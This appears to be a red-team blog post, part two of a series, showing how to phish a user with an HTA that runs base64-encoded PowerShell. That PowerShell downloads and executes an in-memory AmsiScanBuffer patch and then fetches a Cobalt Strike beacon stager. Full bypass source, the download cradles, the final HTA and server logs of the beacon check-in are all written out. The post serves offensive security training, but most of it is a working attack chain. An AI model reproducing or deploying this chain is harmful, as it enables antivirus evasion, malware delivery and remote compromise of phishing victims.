( Original text by @_RastaMouse )
In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.
In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.
So, let’s get cracking.
Before we start, we have a few goals in mind:
- Deliver “something” to a user, via a phish or some other social engineering event.
- The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
- Perform the AMSI bypass.
- If the bypass was successful, stage a beacon.
- Otherwise, run for the hills.
For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂
Generate Stager
We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass
For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use
to make it available within the PowerShell session.
$Ref = ( | |
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«, | |
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a« | |
) | |
$Source = @» | |
using System; | |
using System.Runtime.InteropServices; | |
namespace Bypass | |
{ | |
public class AMSI | |
{ | |
[DllImport(«kernel32»)] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport(«kernel32»)] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport(«kernel32»)] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)] | |
static extern void MoveMemory(IntPtr dest, IntPtr src, int size); | |
public static int Disable() | |
{ | |
IntPtr TargetDLL = LoadLibrary(«amsi.dll»); | |
if (TargetDLL == IntPtr.Zero) { return 1; } | |
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»); | |
if (ASBPtr == IntPtr.Zero) { return 1; } | |
UIntPtr dwSize = (UIntPtr)5; | |
uint Zero = 0; | |
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; } | |
Byte[] Patch = { 0x31, 0xff, 0x90 }; | |
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); | |
Marshal.Copy(Patch, 0, unmanagedPointer, 3); | |
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3); | |
return 0; | |
} | |
} | |
} | |
«@ | |
Add-Type —ReferencedAssemblies $Ref —TypeDefinition $Source —Language CSharp |
We’ll then test it out by downloading and executing it, then running the stager that failed earlier.


All good so far.
Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the
function where it returns an
of
if something fails and
if it makes it to the end.
So in pseudo-code we can say something like
. If
returns
, we naturally don’t do anything more.

HTA
To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.
<span class="variable">$string</span> = <span class="string">'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'</span>
The final HTA is nice and small.
<span class="tag"><<span class="name">script</span> <span class="attr">language</span>=<span class="string">"VBScript"</span>></span><span class="javascript">
<span class="built_in">Function</span> var_func()
Dim var_shell
<span class="built_in">Set</span> var_shell = CreateObject(<span class="string">"Wscript.Shell"</span>)
var_shell.run <span class="string">"powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA="</span>, <span class="number">0</span>, <span class="literal">true</span>
End <span class="built_in">Function</span>
var_func
self.close
</span><span class="tag"></<span class="name">script</span>></span>
Finally, we host the HTA and test it with
.

The web logs show us exactly what we expect.
- AMSI download
- Stager download
- Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /amsi-bypass
page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
null
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /stager
page Serves /opt/cobaltstrike/uploads/stager.ps1
null
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /__init.gif
beacon beacon stager x64
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Awesome sauce. And for those who want it, I also uploaded the code to GitHub.